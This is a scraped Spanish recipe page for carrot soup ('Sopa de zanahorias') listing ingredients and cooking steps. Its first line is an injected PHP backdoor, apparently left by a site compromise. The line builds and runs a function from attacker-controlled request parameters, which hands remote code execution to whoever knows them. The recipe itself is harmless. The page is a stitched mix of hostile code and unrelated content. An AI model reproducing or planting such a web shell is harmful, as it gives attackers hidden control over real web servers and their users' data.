if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['4417120a8200cdfb2b17d13666363d5b']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} Cocineros de Verdad » Sopa de zanahorias
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Sopa de zanahorias

Publicado por on Sábado, 22 marzo 2008Un comentario
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Ingredientes:
500 grs. de zanahoria.
1 cebolla picada.
20 grs. de manteca.
1 diente de ajo picado.
1 cucharada sopera de curry.
4 tazas de caldo de verduras.
1 taza de crema de leche.
Sal y pimienta.

Extras:
1 hoja de laurel.
1 cucharada de té de tomillo.
1 cucharada sopera de miel.
1 cebolla de verdeo.
Perejil.
Ciboulette.

Procedimiento:
  • Echar la manteca en una sartén y saltear la cebolla y el ajo, unos 3 minutos.
  • Agregar el caldo, las zanahorias cortadas en rodajas, curry, sal y pimienta.
  • Si se quiere, se puede agregar laurel y tomillo. Cocinar 30 minutos.
  • Sacar la hoja de laurel y pasar todo por la licuadora junto con la crema de leche y, opcional, una cucharada sopera de miel.
  • Calentar y al momento de servir agregar unas hojas de perejil y un ramillete de ciboulette.
  • También puede agregarse cebolla de verdeo picada.